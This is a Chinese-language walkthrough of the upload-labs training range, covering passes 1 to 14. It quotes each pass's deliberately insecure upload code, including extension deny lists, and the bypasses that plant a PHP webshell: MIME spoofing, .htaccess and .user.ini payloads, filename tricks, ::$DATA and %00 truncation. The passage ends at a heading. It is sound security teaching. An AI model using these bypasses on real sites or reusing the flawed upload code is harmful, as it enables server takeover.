upload-labs靶场全通关解析

技术 · 2024-01-19
upload-labs靶场全通关解析

1.靶场介绍

2024-01-19T08:01:25.png
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。

1.1环境要求

若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。

配置项配置描述
操作系统Window or Linux推荐使用Windows,除了Pass-19必须在linux下,其余Pass都可以在Windows上运行
PHP版本推荐5.2.17其他版本可能会导致部分Pass无法突破
PHP组件php_gd2,php_exif部分Pass依赖这两个组件
中间件设置Apache以moudel方式连接

1.2靶机包含漏洞类型分类

2024-01-19T11:04:42.png

2.文件上传漏洞概述

文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。

Webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门。

造成文件上传漏洞的原因有很多种,所以利用的方式也有很多种,下图是一些常见的绕过方式&思路:
2024-01-19T11:07:56.png

2.1如何判断上传漏洞类型:

2024-01-19T11:09:12.png

0x01.pass-01(客户端js检查)

    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
### 代码分析

直接上传文件得到以下提示:
2024-01-19T11:35:50.png
查看源码:可以看到源码内对上传文件的后缀进行了限制,“var allow_ext = “.jpg|.png|.gif”;”可以得出则是对后缀名进行白名单的判断这里只要是客户端js的检测,那么就意味着只要绕过前端JS文件类型限制的话就可以上传任意文件。

通过方法

1.浏览器禁用javaScript

先选择好要上传的文件
2024-01-19T11:39:19.png
按F12打开开发调试工具 点击齿轮设置按钮
2024-01-19T11:39:31.png
2024-01-19T11:39:42.png
点击停用JS
2024-01-19T11:39:54.png
不要关闭开发调试工具 点击上传
2024-01-19T11:40:03.png
如图所示上传成功

继续进入开发调试工具 找到文件路径 如图
2024-01-19T11:40:13.png
打开文件链接
2024-01-19T11:40:26.png
木马上传成功 使用中国蚁剑等工具即可连接
2024-01-19T11:40:36.png

2.F12直接删除 onsubmit中的 return checkFile()

2024-01-19T11:41:59.png

3.将 webshell 文件后缀名改为允许上传的后缀,然后用 burpsuite 拦截后修改 文件后缀名

2024-01-19T11:42:37.png

0x02-pass-02(服务器白名单之MIME绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

代码分析

isset用于检测变量是否已设置并且非 `NULL

if (isset($_POST['submit']))就是指有没有点击上传

file_exists(UPLOAD_PATH)UPLOAD_PATH是对上传路径的规定,这句代码的意思就判断这个上传路径的文件是否存在

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_files']['type'] == 'image/gif'))`判断文件类型是否为`image/jpeg`或者`image/png`或者`image/gif

可以判断出 Pass 02 没有使用 Pass 01 的文件后缀白名单,而是使用了MIME文件类型限制,$_FILES'upload_file'获取上传文件的MIME类型,仅允许image/jpeg、image/png、image/gif类型的文件上传。
2024-01-19T12:12:12.png
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']规定文件路径为UPLPAD_PATH./加上文件名

move_uploaded_file($temp_file, $img_path)将文件移动到文件上传的路径中
这里 if (($_FILES[‘upload_file’][‘type’] == ‘image/jpeg’) || ($_FILES‘upload_file’ == ‘image/png’) || ($_FILES‘upload_files’ == ‘image/gif’)) 判断文件类型是否为image/jpeg或者image/png或者image/gif

通关方法

1.修改 request 包的 content-type 字段声明文件类型为图片然后上传php文件

2024-01-19T12:12:53.png
修改Content-Type 为image/png 后点击放行
2024-01-19T12:13:08.png

2.直接修改文件后缀上传 jpg png gif 文件再改为php(与Pass 01 方式相同)

0x03-pass-03(服务端黑名单之特殊解析后缀)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');  //提取文件后缀 .php
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空  去掉空格

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

$deny_ext = array('.asp','.aspx','.php','.jsp');规定拒绝的后缀名

$file_name = trim($_FILES['upload_file']['name']);trim就是去除空格如果文件名中有空格就去除(这里的文件名就是抓包中的file_name)

$file_ext = strrchr($file_name, '.');strrch就是分割的意思将第一个参数按第二个参数进行分割输出后面的值
这里 if(!in_array($file_ext, $deny_ext))判断你上面获取的file_ext在不在deny_ext(禁止上传后缀名中)不在的话就在继续执行下面上传代码
用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件,变量$deny_ext声明了禁止上传的文件,上传的文件将在后端基于文件后缀名进行验证。

通关方法

利用危险后缀phtml,.php3,.php4,.php5

2024-01-19T12:18:31.png

0x04-pass-04(服务器黑名单之htaccess解析)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

//本关没有文件重命名

代码分析

提示禁止$deny_ext=array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml","
相对第三关黑名单的数量增多其余代码没有变化
引入知识点:

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置(前提要在apache下),为apache的平台做伪静态的转换,实现文件解析自定义

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config

在apache的配置文件httpd.config,检查mod_write模块是否开启,还有AllowOverride All
检查mod_write模块
查找 rewrite_module ,去掉#即为启动
如果没有找到,就找到 LoadModule 模块在最后加上
LoadModule rewrite_module modules/mod_rewrite.so

//注意重启apache,让apache服务器支持.htaccess,修改httpd.conf文件
Options FollowSymLinks AllowOverride None 改为 Options FollowSymLinks AllowOverride All
2024-01-19T12:22:47.png

通关方法

第一步 上传.htaccess文件

<FilesMatch "hack.png">
SetHandler application/x-httpd-php
</FilesMatch>

第二步 上传hack.png文件
2024-01-19T12:23:50.png
第三步 打开hackbar
2024-01-19T12:24:03.png
2024-01-19T12:24:10.png

0x05-pass-05(服务端黑名单 之.user.ini)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

代码中黑名单做的很严格,基本上对 Pass04 进行了升级,并拒绝上传 .htaccess 文件。
反复观察发现没有被限制的文件名有 .php7 以及 .ini。

.user.ini :
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

众所周知 php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
Pass05 是最新加入的环境,个人感觉像是弥补 Pass04 只能在 Apache 上浮现,因为 .user.ini 的Pass05在 nginx 上很容易复现~

但是想要引发 .user.ini 解析漏洞需要三个前提条件

服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件

什么是 CGI
CGI 的全称为“通用网关接口”(Common Gateway Interface),为 HTTP 服务器与其他机器上的程序服务通信交流的一种工具, CGI 程序须运行在网络服务器上。

传统 CGI 接口方式的主要缺点是性能较差,因为每次 HTTP 服务器遇到动态程序时都需要重新启动解析器来执行解析,之后结果才会被返回给 HTTP
服务器。这在处理高并发访问时几乎是不可用的,因此就诞生了 FastCGI。另外,传统的 CGI 接口方式安全性也很差,故而现在已经很少被使用了。

什么是 FastCGI
FastCGI 是一个可伸缩地、高速地在 HTTP 服务器和动态服务脚本语言间通信的接口(在 Linux 下, FastCGI 接口即为 socket,这个socket 可以是文件 socket,也可以是IP socket),主要优点是把动态语言和 HTTP 服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。

同时,FastCGI也被许多脚本语言所支持,例如当前比较流行的脚本语言PHP。FastCGI 接口采用的是C/S架构,它可以将 HTTP 服务器和脚本服务器分开,同时还能在脚本解析服务器上启动一个或多个脚本来解析守护进程。当 HTTP 服务器遇到动态程序时,可以将其直接交付给 FastCGI 进程来执行,然后将得到结果返回给浏览器。这种方式可以让 HTTP 服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高整个应用系统的性能。

nginx的配置文件:

location ~ \.php{
    root    /var/upload;
    fastcgi_pass    127.0.0.1:9000;
    fastcgi_index   index.php;
    fastcgi_param   SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    include         fastcgi_params;
}

而对于第三点 Pass05 的提示让去看 readme.php:

<?php echo "该目录是上传文件保存,该文件为系统说明文件,请勿删除!";?>

从而确认 upload 目录存在 php 的可执行文件,环境全部满足一引发 .user.ini 文件解析漏洞

通关方法

第一种:在我的环境里可以直接使用 php7 上传

2024-01-19T12:28:54.png

第二种:.user.ini 文件

创建一个 .user.ini 文件上传

内容为 auto_prepend_file=hack.png

然后上传hack.png即可
2024-01-19T12:29:29.png

0x06-pass-06(服务端黑名单之大小写绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

相比于pass-4,过滤了.htaccess,源码中并没有 $file_ext = strtolower($file_ext); 来转换为小写,因此可以使用大小绕过

通关方法

文件后缀名大小写绕过法

将文件后缀改成大小写相见 或者全部大写 PhP
2024-01-20T11:44:38.png
2024-01-20T11:45:09.png

0x07-pass-07(服务端黑名单之空格绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

代码较上一关大致相同,少了trim函数(首尾去空)

通关方法

php文件后缀名加上一个 空格

上传一个小马,在文件名后面添加一个空格就可以绕过了,因为黑名单中并没有.php (注意这里php后面是有空格的)的声明,上传后存储文件后又会自动去除空格
注意
如果环境是linux系统,文件上传后无法解析执行
如果是 windows 的系统,windows 在保存的时候会把最后的空格取出掉,让和会将完整的 php 文件保存到服务器
2024-01-20T11:49:52.png

0x08-pass-08(服务端黑名单之点绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

跟上题类似,只是这里少了删除文件末尾点的代码

$file_name = deldot($file_name);

通关方法

在文件后缀名后面加上一个 .

2024-01-20T11:53:31.png
2024-01-20T11:53:41.png

0x09-pass-09(服务端黑名单之::$DATA绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

跟上题类似,少了对字符串::$DATA的绕过

$file_ext = str_ireplace('::$DATA', '', $file_ext);

通关方法

利用Windows特性::$DATA绕过

Windows 下 NTFS 文件系统的一个特性, NTFS 文件系统的存储数据流的一个属性 DATA 时,就是请求 webshell.php 本身的数据

::$DATA是windows下对于php文件的一种定义,如果在文件名之后加上::$DATA就会不对后缀名进行检测保持::$DATA之前的文件名`
2024-01-20T11:56:58.png
访问的时候记得删掉::$data
2024-01-20T11:57:30.png

0x10-pass-10(服务端黑名单之双写绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

这里涉及到一个循环的问题
当这里涉及到比如deldot对末尾点的过滤式代码中只进行了一次过滤那我们就可以考虑加2个点之后被过滤掉一个空格从“.php. .”变为了“ php.”这里就任然可以绕过黑名单进行上交并执行php文件内容

通关方法

php.php.空格.绕过

php.php.空格. -> 删除文件名末尾的点,变为php.php.空格-> 首尾去空,变为php.php.->php.后缀不在黑名单内,绕过黑名单验证->Windows发现文件名最后有.,自动去除 -> 最终磁盘上的文件名为php.php
2024-01-20T12:01:25.png
2024-01-20T12:01:35.png

0x11-pass-11(黑名单之双后缀名绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']); //移出字符串两边的空格
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;     
        //UPLOAD_PATH是常量 表示保存路径
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

黑名单过滤,只过滤一次

$file_name = str_ireplace($deny_ext,"", $file_name);
如果有发现有禁止的后缀名就把他换为空处理,因为str_ireplace函数只使用了一次。直接使用双写绕过就行 test.pphphp ,最后生成 test.php 文件

通关方法

把shell.php改成 shell.pphphp

这中间的随便写,是上面禁止名单里的后缀名都可以,上传的时候会自动过滤掉这部分,然后就能拼合成php的后缀了.需要注意的是文件名不要是禁止名单的后缀
2024-01-22T12:36:45.png
2024-01-22T12:37:04.png

0x12-pass-12(白名单之GET%00截断绕过)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');   //hack.png
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);  //提取文件后缀
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;  //把临时文件保存到最终位置

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

代码分析

$file_ext=substr($_FILES['upload_file'['name'],strrpos($_FILES'upload_file',".")+1);

含义是验证命名里有没有多个点,并进行循环验证,然后将文件名于白名单中的规定后缀进行对比如果有就进行上传反之上传失败
提示说本Pass文件路径可控,看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过

$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;

通关方法

00截断

需要两个条件是:

1.服务器php版本小于5.3.4,因为在5.3.4开始已经修复0字符。

2.magic_quotes_gpc为off状态,作用是判断解析用户提示的数据,如:postget,cookie过来的数据加转义字符’\‘,输入数据中要包含双引号,反斜线\NULL时候都会被加上反斜线。和addslanshes()函数一个意思。在php.ini配置文件中设置。

注意:魔术引号在php的5.3.0之前默认开启,在5.3.0到5.4.0默认关闭,且在5.4.0起被废除。

当做完上面的白名单验证和定义上传路径之后,上传文件去指定位置。

$_FILES['myFile']['name']文件上传时候本身的名字,用户定义的名字

$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认

$img_path=$_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
get方式传入了save_path变量后面拼接随机数+合法后缀名

当输入路径为?save_path=../upload/1.php%00
这是系统生成的路径为../upload/1.php%00/5020220514234059.gif
%00的作用是截断所以最终保存路径就为:…/upload/1.php
2024-01-22T12:40:39.png

0x13-pass-13(白名单之POST%00绕过)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

代码分析

这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单

跟上面一样,只不过换成了post请求

通关方法

修改Hax

补充:POST不会对里面的数据自动解码,需要在Hex中修改。

上传php文件,用burp抓包

将路径 ../upload/ 添加上传的文件加上+ ../upload/asd.php+

在../upload/ 路径下加上asd.php+ +号是为了方便后面修改Hex
2024-01-22T12:43:02.png
+号的Hex是2b,这里我们要把它改为00,如下图
2024-01-22T12:43:15.png
然后就可以放包了,注意连接蚂蚁剑时将php后面的删掉。
2024-01-22T12:43:35.png

0x14-pass-14(文件头检测+文件包含漏洞)

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

代码分析

1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG

2.Jpg图片文件包括2字节:FF D8

3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a

4.Bmp图片文件包括2字节:42 4D。即为 BM

图片马制作

